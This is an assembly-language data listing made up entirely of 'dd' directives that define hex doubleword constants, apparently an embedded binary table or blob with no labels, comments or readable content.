dd 224C0991h, 303C4444h, 24122889h, 14481C24h, 0C221091h
dd 22C20845h, 0F0042EF8h, 0D891E448h, 0C844D022h, 12B889C0h
dd 48A824B0h, 22A091A4h, 9094449Ch, 84128C89h, 74487C24h
dd 64226C91h, 89545C44h, 24481250h, 91384840h, 4424222Ch
dd 0C89101Ch, 112E0812h, 222DF810h, 0E0E844F0h, 0CC12D889h
dd 0BC48C424h, 0AC22B491h, 899CA444h, 248C1294h, 917C4884h
dd 4464226Ch, 3C894C5Ch, 30243412h, 28912C48h, 18442022h
dd 11088910h, 0E9B12CFCh, 20645C09h, 11CCEC40h, 89DC09E4h
dd 24D012D8h, 91C048C8h, 32A822B4h, 0A05095D4h, 90489824h
dd 7C228891h, 89687444h, 26541260h, 4444094Ch, 12308938h
dd 48202428h, 220C9114h, 2BFC2004h, 89ECF444h, 24DC12E4h
dd 91CC48D4h, 44B822C0h, 0A089A8B0h, 8C249412h, 78918448h
dd 68447022h, 12588960h, 4844244Ch, 2234913Ch, 18204428h
dd 8121089h, 0F810112Eh, 44F0222Ah, 0D489DCE8h, 0C024CC12h
dd 0AC91B848h, 9844A022h, 12888990h, 48782480h, 22689170h
dd 50584460h, 3C124889h, 2C483424h, 18222091h, 8B081044h
dd 29F84484h, 0E491EC08h, 0D444DC22h, 12C489CCh, 48B424BCh
dd 22A491ACh, 8C94449Ch, 78128089h, 64487024h, 54225C91h
dd 89444C44h, 2434123Ch, 91204828h, 45102218h, 0F823C208h
dd 8BF17428h, 0F9225FC4h, 45BEC817h, 22B00991h, 949C44A8h
dd 84128C89h, 74487C24h, 64226C91h, 89505844h, 24401248h
dd 0BF304838h, 188920C4h, 8241012h, 0F820225Ch, 0E4F04427h
dd 0D412DC89h, 0C448CC24h, 0B422BC91h, 89A4AC44h, 2494129Ch
dd 9180488Ch, 44702278h, 58896068h, 48245012h, 38914048h
dd 24442C22h, 12108918h
dd 26FC2304h, 0C48BE974h, 17F9225Fh, 9145BEC8h, 0A422B009h
dd 89909C44h, 24801288h, 91704878h, 44602268h, 44894C58h
dd 34243C12h, 24912C48h, 0C441822h, 25FC8804h, 0E809E1D9h
dd 0D424E012h, 0C091C848h, 0B044B822h, 12A089A8h, 48902498h
dd 227C9184h, 646C4474h, 50125889h, 40484824h, 2C223491h
dd 891C2444h, 2E081214h, 24F81011h, 0E444EC22h, 12D489DCh
dd 48C424CCh, 22AC91B8h, 909C44A4h, 7C128889h, 68487024h
dd 54226091h, 89404844h, 24301238h, 91204828h, 45102218h
dd 0F823C208h, 8BE17423h, 44D80922h, 0BC89C4D0h, 5021B412h
dd 0E8B34296h, 922A011h, 848C4498h, 70127889h, 60486824h
dd 50225891h, 893C4844h, 24281234h, 91144820h, 2004220Ch
dd 0F04422F8h, 12DC89E8h, 48C824D0h, 22B491BCh, 94A044ACh
dd 84128C89h, 70487C24h, 5C226891h, 89485044h, 24381240h
dd 91284830h, 44142220h, 0FC88040Ch, 22D9DD21h, 91E009C8h
dd 44D022D8h, 0B489BCC4h, 0A024AC12h, 0A6A59848h, 6411908Ch
dd 48800988h, 226C9178h, 545C4464h, 44124C89h, 30483824h
dd 20222891h, 89101844h, 8D081708h, 0D2F920F8h, 8B7C112Fh
dd 44CC0922h, 0B089BCC4h, 0A024A812h, 88919448h, 74447C22h
dd 12608968h, 48502458h, 22409148h, 28304438h, 10121C89h
dd 225C0824h, 441FF820h, 0DC89E4ECh, 0CC24D412h, 0BC91C448h
dd 0AC44B422h, 129C89A4h, 488C2494h, 227C9184h, 646C4474h
dd 54125C89h, 44484C24h, 30223891h, 891C2844h, 2E081210h
dd 1EF81B11h, 959A4F1h, 24CC12D8h, 91BC48C4h, 44A422B0h
dd 88899098h, 78248012h, 64916C48h, 50445C22h, 12408948h
dd 482C2438h, 221C9124h, 40C4414h, 811DFC88h, 24EC12F4h
dd 91D848E0h, 44C422CCh, 0AC89B4BCh, 9824A412h, 80918C48h
dd 70447822h, 12608968h, 48502458h, 22409148h, 28304438h
dd 18122089h, 8481024h, 0E91CFC8Dh, 0E4092CD2h, 0D412DC89h
dd 0C048C824h, 0B022B891h, 89A0A844h, 24901298h, 917C4888h
dd 44682270h, 4C895460h, 3C244412h, 24913048h, 1214897Fh
dd 4604240Ch, 0E9E91BFCh, 45BE8817h, 0CC092CF2h, 0B812C489h
dd 0A848B024h, 9822A091h, 89889044h, 24781280h, 9160486Ch
dd 44502258h, 34893C48h, 20242812h, 10911848h, 0FC370822h
dd 0B248E91Ah, 0D824E009h, 0C891D048h, 0B844C022h, 12A889B0h
dd 489824A0h, 2284918Ch, 6874447Ch, 58126089h, 48485024h
dd 38224091h, 89283044h, 24141220h, 8804480Ch, 0F01119FCh
dd 0E044E822h, 12D089D8h, 48BC24C8h, 22AC91B4h, 949C44A4h
dd 80128889h, 68487424h, 58226091h, 89485044h, 24381240h
dd 91244830h, 4514221Ch, 0F822C20Ch, 48EC0418h, 22DC91E4h
dd 0C4CC44D4h, 0B412BC89h, 0A048AC24h, 88229491h, 89788044h
dd 2464126Ch, 9154485Ch, 4440224Ch, 20892C34h, 1091F817h
dd 11E10822h, 0E1BA17F4h, 912FE245h, 5FE48B7Ch, 0C817F922h
dd 2CF245BEh, 80898C09h, 68247412h, 54916048h, 3C444822h
dd 122C8934h, 481C2424h, 220C9114h, 16FC3604h, 0E84409E1h
dd 12D889E0h, 48C824D0h, 22B491C0h, 9CA444ACh, 8C129489h
dd 7C488424h, 6C227491h, 895C6444h, 244C1254h, 913C4844h
dd 44282230h, 0C891420h, 0FC230412h, 9F16415h, 91E448ECh
dd 44D422DCh, 0BC89C4CCh, 0AC24B412h, 9C91A448h, 8C449422h
dd 127C8984h, 486C2474h, 225C9164h, 444C4454h, 34123C89h
dd 20482C24h, 0C221491h, 0FBFC0444h, 0E245F9BAh, 8B7C912Fh
dd 0F9225FE4h, 45BEC817h, 7C912FF2h, 959E48Bh, 24781280h
dd 9164486Ch, 4450225Ch, 34893C48h, 24242C12h, 10911C48h
dd 11E10822h, 0F00213F8h, 0E048E824h, 0CC22D491h, 89BCC444h
dd 24AC12B4h, 919848A0h, 44882290h, 70897880h, 60246812h
dd 50915848h, 3C444822h, 12288934h, 48182420h, 70089110h
dd 0D912F888h, 12E409F1h, 48D424DCh, 22C491CCh, 0A8B444BCh
dd 9412A089h, 84488C24h, 74227C91h, 89646C44h, 2450125Ch
dd 91404848h, 44302238h, 10891C24h, 112E0812h, 0E911F81Bh
dd 44E80922h, 0CC89D8E0h, 0BC24C412h, 0AC91B448h, 9C44A422h
dd 128C8994h, 487C2484h, 226C9174h, 50584464h, 40124889h
dd 30483824h, 20222891h, 89101844h, 9F081708h, 48F977F8h
dd 2FF245BCh, 0C0096491h, 0B091B848h, 0A044A822h, 128C8994h
dd 487C2484h, 226C9174h, 545C4464h, 40124C89h, 2C483424h
dd 1C222491h, 890C1444h, 0FFC1104h, 0EC24F402h, 0DC91E448h
dd 0C444D022h, 12B489BCh, 48A424ACh, 22909198h, 747C4484h
dd 5C126889h, 44485024h, 34223C91h, 89242C44h, 2414121Ch
dd 8D04480Ch, 0D2E10EFCh, 8B7C112Fh, 44D40922h, 0BC89C4CCh
dd 0AC24B412h, 9891A448h, 84448C22h, 12708978h, 48602468h
dd 22509158h, 38404448h, 28123089h, 18482024h, 4220C91h
dd 440DFC20h, 0E089E8F0h, 0CC24D412h, 0BC91C448h, 0A844B022h
dd 129889A0h, 48882490h, 2274917Ch, 545C4468h, 44124C89h
dd 34483C24h, 24222C91h, 89141C44h, 9E08170Ch, 0D8E977F8h
dd 99145BCh, 44D022D8h, 0B489BCC8h, 0A024AC12h, 8C919448h
dd 7C448422h, 12688974h, 42582460h, 8C42BFACh, 0C84411ECh
dd 2C913809h, 1C442422h, 48FC8B14h, 0BF88D04h, 112FD2E9h
dd 5FE48B7Ch, 0C009C822h, 0AC22B491h, 8998A044h, 24881290h
dd 91784880h, 4464226Ch, 48895058h, 38244012h, 28913048h
dd 14441C22h, 1104890Ch, 0EC020AF8h, 0D848E024h, 0C822D091h
dd 89B4BC44h, 24A012ACh, 91904898h, 44802288h, 68897078h
dd 58246012h, 48915048h, 38444022h, 12288930h, 48182420h
dd 70089110h, 8109F888h, 24E812F0h, 91D448DCh, 44C422CCh
dd 0A489ACB8h, 94249C12h, 84918C48h, 74447C22h, 1264896Ch
dd 4850245Ch, 22409148h, 242C4438h, 14121C89h, 4480C24h
dd 1108F888h, 44E422ECh, 0CC89D4DCh, 0B824C012h, 0A491AC48h
dd 94449C22h, 1284898Ch, 48702478h, 22609168h, 48504458h
dd 38124089h, 20482C24h, 10221891h, 7FC11FFh, 0BC22F402h
dd 3ED85E33h, 92CF245h, 12CC89D4h, 48BC24C4h, 22AC91B4h
dd 949C44A4h, 84128C89h, 6C487824h, 5C226491h, 894C5444h
dd 243C1244h, 91244830h, 4414221Ch, 0F888040Ch, 12F08106h
dd 48DC24E4h, 22CC91D4h, 0B4BC44C4h, 0A412AC89h, 90489824h
dd 78228491h, 89687044h, 2454125Ch, 9144484Ch, 4434223Ch
dd 1C89242Ch, 8241012h, 0F836225Ch, 4409E905h, 0D889E0E8h
dd 0C824D012h, 0B891C048h, 0A844B022h, 129489A0h, 4884248Ch
dd 2274917Ch, 5860446Ch, 48125089h, 38484024h, 24222C91h
dd 89101844h, 88081708h, 0EC1104F8h, 0DC44E422h, 12C889D4h
dd 48B424C0h, 22A491ACh, 8C94449Ch, 7C128489h, 6C487424h
dd 58226091h, 89485044h, 24381240h, 91284830h, 44182220h
dd 848B0810h, 0F103F846h, 0BE8817E9h, 0CC099145h, 0B444C022h
dd 12A489ACh, 4894249Ch, 2284918Ch, 6C74447Ch, 5C126489h
dd 4C485424h, 3C224491h, 892C3444h, 241C1224h, 910C4814h
dd 2FC1004h, 0E844F422h, 12D889E0h, 48C024CCh, 22B091B8h
dd 98A044A8h, 88129089h, 70487C24h, 60226891h, 89505844h
dd 243C1244h, 912C4834h
dd 44182220h, 848B0810h, 801F844h, 22E891F0h, 0CCD444E0h
dd 0B812C089h, 0A448AC24h, 94229C91h, 89808C44h, 24701278h
dd 915C4864h, 444C2254h, 28893440h, 18242012h, 0C78A456h
dd 93311DCh, 0E1E186F8h, 0DC440916h, 12CC89D4h, 48B824C4h
dd 22A091ACh, 80884494h, 6C127489h, 5C486424h, 4C225491h
dd 893C4444h, 242C1234h, 911C4824h, 2C082214h, 19A0FFFCh
dd 12EC09F4h, 48DC24E4h, 22CC91D4h, 0B0BC44C4h, 0A012A889h
dd 90489824h, 7C228491h, 742CA6B5h, 96C6411h, 915C4864h
dd 444C2254h, 2C893840h, 1C242412h, 4911048h, 0F1FEFC1Bh
dd 0E00959A4h, 0D024D812h, 0BC91C448h, 0AC44B422h, 129C89A4h
dd 488C2494h, 22789184h, 58644470h, 48125089h, 38484024h
dd 28223091h, 89141C44h, 88081708h, 0F011FDF8h, 0E044E822h
dd 12CC89D4h, 48BC24C4h, 22AC91B4h, 949C44A4h, 84128C89h
dd 74487C24h, 64226C91h, 894C5844h, 24381240h, 91284830h
dd 44182220h, 0FC890810h, 8BE975C7h, 0D80959CCh, 0C824D012h
dd 0B891C048h, 0A844B022h, 1294899Ch, 4884248Ch, 2270917Ch
dd 54604468h, 44124C89h, 30483C24h, 20222891h, 89101844h
dd 0FBF41708h, 0EC91F408h, 0D844E422h, 12C889D0h, 48B424C0h
dd 22A491ACh, 8C94449Ch, 78128089h, 64487024h, 54225C91h
dd 89444C44h, 2430123Ch, 91204828h, 440C2218h, 0FA6EFC04h
dd 8B7891E9h, 44DC0922h, 0C089C8D4h, 0B024B812h, 9C91A848h
dd 8C449422h, 127C8984h, 48682470h, 2254915Ch, 3844444Ch
dd 28123089h, 18482024h, 8221091h, 0F9F811E1h, 0E824F002h
dd 0D891E048h, 0C444D022h, 12B089BCh, 48A024A8h, 228C9194h
dd 70784480h, 5C126889h, 4C485424h, 3C224491h, 89243444h
dd 24181220h, 0B8084810h, 0F86CF444h, 89DC09E1h, 24CC12D4h
dd 91BC48C4h, 44B422B8h, 90899CA8h, 78248412h, 60916C48h
dd 48445422h, 1234893Ch, 48282430h, 221C9124h, 0FC084414h
dd 24FEF741h, 91E848ECh, 44D822E4h, 0C489C8D4h, 0B024B412h
dd 0A091AC48h, 88449422h, 12808984h, 4870247Ch, 2260916Ch
dd 3C484454h, 24123089h, 14482024h, 4220891h, 0F6F411E1h
dd 0DC09E9B2h, 0C448D024h, 0AC22B891h, 899CA044h, 24941298h
dd 91844888h, 446C2278h, 0B4886468h, 22E9DF84h, 915009C8h
dd 4440224Ch, 3489383Ch, 24243012h, 10911448h, 11E10C22h
dd 0E802F5F4h, 0D048DC24h, 0C022C491h, 89ACB044h, 249C12A0h
dd 91844890h, 446C2278h, 50895C60h, 38244412h, 28913448h
dd 10441C22h, 4E848B04h, 0E42230F4h, 89D4D844h, 24C412C8h
dd 91B448B8h, 44AC22B0h, 9889A0A8h, 84249012h, 0C644844h
dd 0C87C1180h, 74917809h, 6C447022h, 12608968h, 7258245Ch
dd 484C2450h, 22409144h, 2C304438h, 24122889h, 10481824h
dd 88700891h, 0FC83F3F8h, 4EAFF048h, 183EBD20h, 0E419BC91h
dd 25D2D841h, 11C8596Ch, 0C80991D0h, 0B844C022h, 12A489B0h
dd 48942498h, 228C9190h, 80844488h, 99A0F68Ah, 9178117Ch
dd 0B4177409h, 5F88E32Dh, 93705492h, 68412284h, 4C7B6045h
dd 0E41158E0h, 404CE48Bh, 38893C09h, 2C243412h, 1C912448h
dd 8441422h, 89F26CFCh, 0E889EC09h, 0DC24E412h, 0CC91D448h
dd 0B844C422h, 12A089ACh, 4898249Ch, 228C9194h, 747C4484h
dd 5C126889h, 4C485024h, 44224891h, 89343C44h, 2424122Ch
dd 0B80C4818h, 0F140FC44h, 12F489F8h, 48E424ECh, 22D491DCh
dd 0B0BC44C8h, 0A812AC89h, 9C48A424h, 8C229491h, 89788444h
dd 2460126Ch, 9158485Ch, 444C2254h, 34893C44h, 3354FD15h
dd 221C1128h, 14441809h, 17088910h, 0F0F88808h, 89E4C439h
dd 26CC12D8h, 0C4666954h, 4409BC11h, 0AC89B0B4h, 0A424A812h
dd 94919C48h, 0A6BF8C22h, 251188E4h, 0EC512F44h, 4D9578BAh
dd 518066F0h, 70097864h, 58916448h, 48445022h, 12388940h
dd 48282430h, 22189120h, 0A6284A10h, 53A825ECh, 29081BC4h
dd 0F8200986h, 0E812F7EFh, 0D848E024h, 0C822D091h, 89B8C044h
dd 24A812B0h, 919848A0h, 44882290h, 70897880h, 60246812h
dd 50915848h, 40444822h, 12308938h, 48202428h, 22109118h
dd 0F811E108h, 24F002EEh, 91E048E8h, 44D022D8h, 0B889C0C8h
dd 0A824B012h, 9891A048h, 88449022h, 12788980h, 52682470h
dd 33DEB8A9h, 9225819h, 2999F150h, 9F44114Ch, 7125F409h
dd 193C9930h, 2C099134h, 1C442422h, 17088914h, 0EDF48808h
dd 0E822F011h, 54A17C69h, 19E499A8h, 0DC1191A0h, 0CC09D432h
dd 0B848C424h, 0A022AC91h, 89909444h, 2E74118Ch, 84582C2Ah
dd 97821CCh, 1460896Ch, 58484DAEh, 33C86D11h, 22441150h
dd 0C9953C09h, 119B3814h, 53DC0934h, 3E2C34D3h, 345A2411h
dd 782BAA10h, 0CBF812D6h, 711C333Ch, 14092218h, 6D641044h
dd 0C311592Eh, 0ECF80910h, 6C94F422h, 0FE31849Bh, 9E46419h
dd 91D048DCh, 44C022C4h, 0B489B8BCh, 0AC24B012h, 0A091A848h
dd 90449822h, 127C8988h, 486C2470h, 22649168h, 4C54445Ch
dd 38124489h, 28482C24h, 20222491h, 89101844h, 2408120Ch
dd 0EBFC4404h, 0F091F408h, 12E8897Fh, 48D824E0h, 22CC91D0h
dd 0BCC444C8h, 0AC12B489h, 0A448A824h, 9822A091h, 89889044h
dd 24801284h, 9174487Ch, 4464226Ch, 58895C60h, 48245012h
dd 3C914048h, 34443822h, 1224892Ch, 4818241Ch, 22109114h
dd 0F811E108h, 24F402EAh, 91EC48F0h, 44DC22E4h, 0CC89D0D4h
dd 0C024C812h, 0B091B848h, 0A844AC22h, 129C89A4h, 488C2494h
dd 22849188h, 70784480h, 64126889h, 5C486024h, 4C225491h
dd 89404444h, 2438123Ch, 91284830h, 441C2220h, 0C891418h
dd 0FC220412h, 48F804E9h, 22F091F4h, 0D8E044E8h, 0D012D489h
dd 0C448CC24h, 0B422BC91h, 89ACB044h, 24A012A8h, 91904898h
dd 4488228Ch, 74897C84h, 11296C12h, 1199686Ch, 125C0964h
dd 484C2454h, 223C9144h, 202C4434h, 8121489h, 0F810112Eh
dd 0EFF022E8h, 0D824E012h, 0C891D048h, 0BC44C022h, 12AC89B4h
dd 489C24A4h, 228C9194h, 747C4484h, 5D446A8Ah, 652C0BDh
dd 3091001h, 35323431h, 10333633h, 0CF390C37h, 0BB610DDh
dd 0FFFB3117h, 0DB50BFB7h, 1D216D17h, 3632C00Fh, 0DD343822h
dd 847ABC10h, 626E6D08h, 0C548ED76h, 0BA33C532h, 73770A79h
dd 0A3E1478h, 2C636465h, 7A617185h, 0CA183450h, 0BD6E1031h
dd 636FF1BFh, 43ACD345h, 71D8F44Bh, 65E277E2h, 120846E3h
dd 16410A83h, 1E3AA01Ch, 623056E5h, 0AA423283h, 3C88682Ch
dd 8C84C48h, 8E790C33h, 0BD2C8B18h, 0CE080877h, 2D099A11h
dd 80D0364h, 678433C2h, 19B2180Ah, 801A877h, 239C116Eh
dd 95185538h, 43017619h, 0E18C7008h, 18ACC219h, 1AA7919h
dd 6784081Bh, 1815CE08h, 50741965h, 23DC0801h, 0AB704638h
dd 73192A18h, 0E1088601h, 8533C219h, 75191859h, 8370154h
dd 9C11CE08h, 19CA182Ah, 8A10170h, 8C7046B8h, 191856E1h
dd 0D016F55h, 8433C208h, 0B2180A67h, 1A86E19h, 9C116E08h
dd 18553823h, 16D1995h, 8C700843h, 0ACC219E1h, 0AA6C1918h
dd 84081B01h, 15CE0867h, 6B196518h, 0DC080150h, 70463823h
dd 192A18ABh, 886016Ah, 33C219E1h, 19185985h, 37015469h
dd 11CE0808h, 0CA182A9Ch
dd 0A1016819h, 7046B808h, 1856E18Ch, 1675519h, 33C2080Dh
dd 180A6784h, 0A86519B2h, 116E0801h, 5538239Ch, 66199418h
dd 70084301h, 0A44E18Ch, 0F65A0D12h, 84081B02h, 36EF64h
dd 1635619h, 21DC0C42h, 901215CEh, 2037E424h, 19B2180Ah
dd 1601B262h, 700EE10Ch, 248712ACh, 55B82021h, 72198918h
dd 92E28966h, 99DB64E7h, 0FAF839D7h, 68670966h, 0B4286B6Ah
dd 0E410EE0Ch, 0C8080837h, 0A694A618h, 627602D4h, 89B6D6Eh
dd 6D086784h, 1911B209h, 90E15F6Bh, 640ECF61h, 5D594F54h
dd 4B204119h, 299452E1h, 0A14FC872h, 0C3A12FB5h, 0B1AFDC2h
dd 9677046Ah, 7B0C8BB3h, 9A08A606h, 0C7760D4h, 69757974h
dd 0C706F29h, 8E7106Eh, 9080D72h, 0EC2A0C35h, 3931CCECh
dd 0B30CA650h, 0A1012178h, 0E7106E0Ch, 24C8120Ah, 5201372h
dd 4B4F4E08h, 5C35C49h, 0E584553h, 0DFBE52BCh, 0A8569E54h
dd 4A44781Ch, 4D992353h, 4F4E2CC6h, 0C406EADh, 60639F41h
dd 4EFE59F6h, 1CD45953h, 75D26D61h, 41530843h, 4E55984Dh
dd 6F20CF47h, 374C30B7h, 34143536h, 45A63233h, 703A005h
dd 36DCE1B7h, 35119109h, 31E434C8h, 0AE4FA877h, 91A33C39h
dd 0E437C838h, 39357236h, 8E331C34h, 8E7B3247h, 38475086h
dd 1DF18E78h, 77C43BFEh, 0DE11EF88h, 7847BC23h, 7837478Eh
dd 0E21DF18Eh, 8877FC3Bh, 23DE11EFh, 8E7847BCh, 8E783647h
dd 3BE21DF1h, 0EFF877C4h, 0BC23DE11h, 478E7847h, 0F18E7835h
dd 0C43BE21Dh, 0F1EF8877h, 7F3B23DEh, 4570344Dh, 8183508h
dd 63426208h, 11722F66h, 68283DD1h, 3C4D083Dh, 1F5A0814h
dd 681F1310h, 4D083F10h, 2408143Eh, 3650491Fh, 219D3B0Ah
dd 0E4106E0Ch, 0C8080837h, 0F8DFA018h, 0DC4DFB30h, 3AD40EA3h
dd 0A410A4F7h, 4B3F82CBh, 9D2E876Fh, 2FF412A7h, 0F4A93F28h
dd 49F3F7BAh, 0B011D28h, 3887700Ch, 28299C43h, 200B31EDh
dd 1218AA70h, 16013A80h, 700BE10Ch, 18A11CA7h, 700852B8h
dd 9C1218AAh, 0C16013Ah, 87700EE1h, 0DA285338h, 0E1201631h
dd 57191856h, 0C420136h, 10CE21DCh, 7B280AE7h, 0DC203142h
dd 19CA182Ah, 0CE80135h, 0C239845Bh, 284FE11Ch, 5B203168h
dd 19185985h, 0B015D34h, 3887700Ch, 28299C43h, 200B31EDh
dd 2B18AB70h, 0A1013319h, 0E7106E0Ch, 3D857308h, 2031A128h
dd 6518156Eh, 1743219h, 1CC20C2Dh, 0A7700EE1h, 2D31B428h
dd 18ACC220h, 1AE3119h, 42B80C85h, 0CE1029DCh, 0B8480815h
dd 5408B79Ch, 91384839h, 44352236h, 32893334h, 2A564A16h
dd 16827001h, 460AE10Bh, 90244312h, 0A28DC20h, 42013057h
dd 4041D80Ch, 2308CC21h, 0CA84240Bh, 64092503h, 3926725Eh
dd 36F0A2Ah, 11096D10h, 968019A6h, 0CA1CE82Bh, 3D8D0839h
dd 0A7CFAC2Dh, 0EB60CBAh, 0C03D109h, 11688B7Dh, 7481C34h
dd 0D810A20h, 967C740h, 5B1F2111h, 5117D09h, 5E252423h
dd 0CC05126h, 23DC08D0h, 96D4338h, 85B40911h, 6D697A09h
dd 0EFEEC5AFh, 760C2710h, 797D7070h, 0B572F297h, 6E7904F8h
dd 7AFA78E0h, 64D7EEE1h, 35FEB7C5h, 38BF184Dh, 62C402CBh
dd 30D17275h, 0FFB7712h, 61CD65DBh, 88EC6808h, 70AD3F79h
dd 0AF700EFDh, 55217A68h, 0ECF55DCAh, 4618DB3Ah, 28A42A68h
dd 454B5CAFh, 0C70C5269h, 145D09F8h, 69108319h, 28F53618h
dd 87C80CA8h, 20D7F627h, 168ADB0Ch, 0FDFBC6AEh, 9F4C7872h
dd 66F4CA37h, 186DCDE3h, 69A895B7h, 67797650h, 9DA274F6h
dd 65680C27h, 0BC89BB66h, 0F89D782Ch, 20D8AC4Ah, 5C745568h
dd 44B66AF1h, 0F68A2084h, 0A36F8905h, 75700DBCh, 0A82F0862h
dd 24689D1Eh, 63A453F9h, 190794ECh, 48640C0Ch, 0CA867B4h
dd 68CF796Ch, 0F161AE6Dh, 3F54A245h, 69182426h, 9BFF3663h
dd 2486E401h, 0E6F4DB09h, 12A5C4F6h, 0C3CA02B7h, 13668C35h
dd 77653418h, 94CE1B09h, 846096Dh, 0FE5EB57Ah, 288D59F5h
dd 87A6765h, 61161865h, 9B9C99FFh, 83D26B28h, 838ECE6Ah
dd 2A1A6CBBh, 757D63ACh, 0CAC9C4B7h, 0BB6622Eh, 0C446C67h
dd 4835EFF9h, 11EEDA68h, 2A9FAC5Ah, 0EAB8F1A5h, 0AA406624h
dd 2065492Fh, 4D406824h, 5DAA0418h, 27F9A9ECh, 5E3276FCh
dd 0A394B273h, 43626120h, 2A6A8496h, 0FB05AA2Ch, 9145EC6Dh
dd 8BAD32A0h, 0B64DA18h, 3022C57Eh, 0CD0A4F7h, 26331848h
dd 82097B73h, 83BFCE57h, 70A23514h, 18146614h, 327D60A3h
dd 0B8996E68h, 0B69CF66Bh, 0C894436h, 0E7D1A068h, 0B20C38D0h
dd 45431A61h, 0F34C1B45h, 38998E7Eh, 9A4194Dh, 52BF2A60h
dd 6C50106Ch, 9736762h, 691B686Fh, 50EB5A35h, 0B445B3C4h
dd 0AC268D14h, 0DA8A266h, 63BE878Eh, 990F979h, 0A4E44164h
dd 314AB4DCh, 77246394h, 5209AFF1h, 5DF1B551h, 417992B3h
dd 6EABB509h, 0A018356Ch, 66666C1Ch, 419E6209h, 64141272h
dd 78346800h, 0A11F9B30h, 0B431100Ch, 78880A54h, 4D086953h
dd 0A0302634h, 0A5C2A66Dh, 588D330Ch, 7A85EABFh, 2C353965h
dd 887380Ch, 3270454Dh, 7808876Bh, 0B0635270h, 0C80C7842h
dd 454D7038h, 0B73C2287h, 583131ECh, 534D1950h, 2C240990h
dd 7995D862h, 46F19428h, 58384360h, 8E549204h, 49793EB1h
dd 9B226ACAh, 75EC753Fh, 419B99FFh, 3025782Eh, 18645433h
dd 9BC4B833h, 89A9734h, 30207D6Ah, 0D89E3071h, 5C550E4Bh
dd 1ABA521Bh, 1443508Ch, 36222DF7h, 80D100Dh, 0FCD91AC2h
dd 2896E34h, 0EBB111A6h, 0A4B0779Ch, 556C7539h, 62A54208h
dd 2EF1F5C4h, 0B97B5EE8h, 0A41CC8C8h, 79A238E8h, 5D63C382h
dd 548B08D6h, 4128184Ch, 0B1C5051Dh, 73081282h, 9B465D6Ah
dd 0C76C19CAh, 0B6FCDCB9h, 0D90C8629h, 0EF6B3411h, 67084AE5h
dd 0AB53BC18h, 0A3711C5Dh, 0F5ACC664h, 88761054h, 0A46EEC10h
dd 8615210h, 1609F15Eh, 9C862E08h, 6DDA7764h, 0CCE30DC9h
dd 83D7BCACh, 8686D94h, 8C80C78h, 66726B64h, 49616439h
dd 8420C0Ah, 0A3A0686Ah, 3408A10Ch, 940824FBh, 0E9085DA1h
dd 32D62D10h, 24275AB4h, 0A84948CAh, 10344AD3h, 1A1A04C4h
dd 78108910h, 48F0B98Fh, 0C3DE4B24h, 4BC91824h, 0E4104911h
dd 1D6511D9h, 11664C22h, 2094D26Ch, 28B265E4h, 349625DCh
dd 3453088Ah, 3CA3AA34h, 85901490h, 5A79A465h, 828C708h
dd 0A8D4824h, 2008796Bh, 34E2BDCEh, 76650822h, 33F9504Ch
dd 86E2A1Ch, 0AED01084h, 605B5DCh, 8327964h, 7C1B1A69h
dd 296299C7h, 0CD30082Ah, 73EE9E0Eh, 4C998E4h, 6DB57020h
dd 0B376F2E3h, 72D729DCh, 340C2C08h, 0A7425B2h, 4B087021h
dd 8A231DCh, 675D108Ch, 0C732975h, 0C06669Ah, 0A47A0A48h
dd 936C8410h, 0BF769D38h, 0F1716BA8h, 3DDEBD7Ah, 0CAEF062h
dd 0F90D088Ah, 4ABD2BD7h, 0B0A81845h, 0E161FA10h, 8040C5Dh
dd 9AA8CC10h, 6F6F4110h, 1CEC42E3h, 0A5081968h, 82B085Fh
dd 11D237AAh, 0B300FB1h, 0AD08A36Fh, 4824E2D4h, 905CB910h
dd 40FF59CCh, 5E976D08h, 6C1132D8h, 80D236Ah, 755596CFh
dd 0DEDCE210h, 0C01D8435h, 44087915h, 6D2D7310h, 0EB687C63h
dd 294BB275h, 0C6A280Ch, 28D74BC9h, 51D47210h, 63E1486Ch
dd 106F6033h, 5F7879B5h, 0ADFEE570h, 2C9BF511h, 0E064FEC5h
dd 4889F3BFh, 9F0C9178h, 7461E4E1h, 88294FAh, 0C53E6308h
dd 9C45EE29h, 9C0D8725h
dd 1D42F5E2h, 97099C12h, 67F0C444h, 4FB8D7B9h, 6D193B50h
dd 10096A10h, 0CE79F648h, 68DE6211h, 0F6727910h, 7008A468h
dd 6F238665h, 3449A66Eh, 6A146116h, 912EE61h, 6FFD6B90h
dd 1014C811h, 206B6514h, 0A028299Eh, 8F8E8393h, 8C80CEAh
dd 0A311FE6Bh, 0FB492814h, 79630851h, 656930C2h, 0D415E18Eh
dd 1F581E67h, 9B63D078h, 0D6066896h, 60EC495Ch, 72A30C84h
dd 60080841h, 0DCB36E9Fh, 8890CA2h, 0F09AC667h, 67F06AA8h
dd 2173A569h, 18616E08h, 4F65466Dh, 26088B11h, 6E12B466h
dd 25681049h, 0D0D964B6h, 0A55418A1h, 0B47F33AAh, 4AB85A10h
dd 35705012h, 4975508Ah, 0A8287372h, 0BBB86497h, 0C0B858Dh
dd 78A16C23h, 69E29E20h, 1C2D735Bh, 953484C3h, 0D024A230h
dd 4A529A14h, 100828E4h, 8440849h, 734D8549h, 6F700821h
dd 546D19F6h, 0AB31218h, 3A08724Dh, 3467D2E5h, 5E94D444h
dd 0B47C2958h, 0C2F46566h, 88D96FC8h, 6D4714C8h, 0A347914h
dd 6E0865B3h, 6B3E9111h, 23403310h, 621E6B11h, 43B2ABA5h
dd 0D970AAC0h, 33FDA5C8h, 98196523h, 0F4D9BF65h, 34621896h
dd 0DB79E935h, 6374F810h, 0B9838468h, 44080ACFh, 0C2829472h
dd 0C0D97A2Ah, 83E110B4h, 0A6117AEBh, 780AF510h, 5C610DF1h
dd 8162071h, 533CB66Fh, 0C166484h, 496538CDh, 0CE50F1C2h
dd 0C28F410h, 0C46E426Fh, 7977616Dh, 1041FE1Bh, 316009C4h
dd 892A1A2h, 4BB82128h, 8860C86h, 0C54D5AB7h, 27776211h
dd 297D8B34h, 0B664F272h, 618453ACh, 84C7069h, 4F67436Eh
dd 70C79610h, 3372C8BCh, 0BF404C0Ch, 0F49E0C42h, 0C67DD611h
dd 64470884h, 240DE151h, 8420A28h, 0F26FA265h, 0BA2FDC08h
dd 0CA081314h, 0A61316Ch, 9CA06B21h, 0B4D098B8h, 10FAD60Ch
dd 519308F5h, 8D014CCh, 0BFE510D3h, 8431446h, 0C4796311h
dd 8776569h, 9379E8CFh, 78B0B372h, 0AA5EDE97h, 55707820h
dd 5179746Eh, 0C906F4Dh, 375E08D1h, 74EA8FF8h, 0E71F4F18h
dd 0C12C4BAh, 14B0082Dh, 62C5A310h, 1A726111h, 776FED48h
